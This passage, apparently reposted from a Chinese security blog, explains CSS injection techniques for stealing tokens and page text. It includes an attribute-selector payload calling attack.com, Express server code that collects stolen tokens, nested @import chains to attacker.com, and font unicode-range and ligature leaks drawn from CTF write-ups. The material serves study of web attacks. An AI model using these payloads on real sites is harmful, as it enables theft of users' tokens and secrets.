hello world

input[value^="Z"] ~*{
    background: url(http://attack.com/Z);
}

    


>

服务器代码是我配合它的payload写得。

var express = require('express');
var app = express();
var path = require('path');
var token = "";

app.get('/receive/:token', function(req, res) {
    token = req.params.token;
    console.log(token)
    res.send('ok');
});

app.get('/return', function(req, res){
    res.send(token);
});

app.get('/client.html', function(req, res){
    res.sendFile(path.join(__dirname, 'client.html'));
})


var server = app.listen(8083, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

还有 师傅 通过服务器将token写入到cookie中， 定时查询cookie是否改变来实现的。

还发现有师傅用websocket实现更优雅一些。 https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa

无 iframe

https://github.com/dxa4481/cssInjection 这里介绍了一种无iframe注入的方法。

原理也很简单，既然不能用iframe引入漏洞页面，那么我们可以通过 window.open 不断开启一个新的窗口，也就可以完成上述类似的效果。当然这种方法得劫持用户的点击行为，否则浏览器会禁止开启新窗口。

而且这篇文章还提出了无后台服务器的方案，利用service workers 拦截客户端请求将获取到的token值同时存在本地localstorage中。

@import

利用 @import 在chrome中的特性，https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b 这篇文章提出的这种方法。这种方法有种好处就是 不会刷新页面就可以拿到全部token 而且不需要iframe，但坏处就是只能用在chrome中，而且根据它的特性必须在样式标签头部有注入才行。

除了常见的 标签引入外部样式，css还可以通过 @import 。

@import url(http://style.com/css.css);

但是 @import 必须在样式表头部最先声明，并且分号是必须的。 @import 引入的样式表会直接替换对应的内联样式。

chrome在实现上述效果时，在每次 @import 外部样式表 返回后 都重新计算了一遍页面的其他的样式表，我们可以利用这个特性嵌套 @import 使用一个请求便获取到整个token

这是他文章中的一个图，很形象。

这图假定要窃取的数据长度为3，第一次注入的css内容为 @import url(http://attacker.com/staging); ，它返回了

@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);

这时页面又要获取 @import url(http://attacker.com/polling?len=0); 样式表，而它返回的是窃取token的payload。

当将已窃取数据发送到服务器后， @import url(http://attacker.com/polling?len=1); 才会响应。响应的是窃取的第二位数据的payload....

而且那篇文章还开源了一个工具利用这个漏洞，用起来非常简单。

https://github.com/d0nutptr/sic

窃取标签content数据

窃取标签content数据相对来说就麻烦很多，去年xctf final就有一道题。

利用 unicode-range 猜测

根据https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html这位师傅的思路，可以通过指定 @font-face 的字体描述unicode-range，当存在某个字符时就通知服务器。

AB

当然这只能知道含有那些字符，而且当字符一多就没有意义了。不过这也是个不错的思路，在某些特定情况下可能有用。

利用连字(Ligature)

去年xctf师傅们的 题解 用的就是这个方法。

连字简而言之就是几个字符的合体字，更多自行百度。在这里我们可以自己创建一个字体，其中所有字符宽度设为0，将 flag 这个连字的宽度设置非常大，此时指定标签content中如果出现了flag字符串就会因为宽度的原因出现滚动条，检测出现滚动条时用 url() 请求服务器。

这样我们就可以不断向后猜测了，详细的创建字体、payload 这里 已经提供了。

以上是“CSS中injection的解决方法”这篇文章的所有内容，感谢各位的阅读！相信大家都有了一定的了解，希望分享的内容对大家有所帮助，如果还想学习更多知识，欢迎关注创新互联行业资讯频道！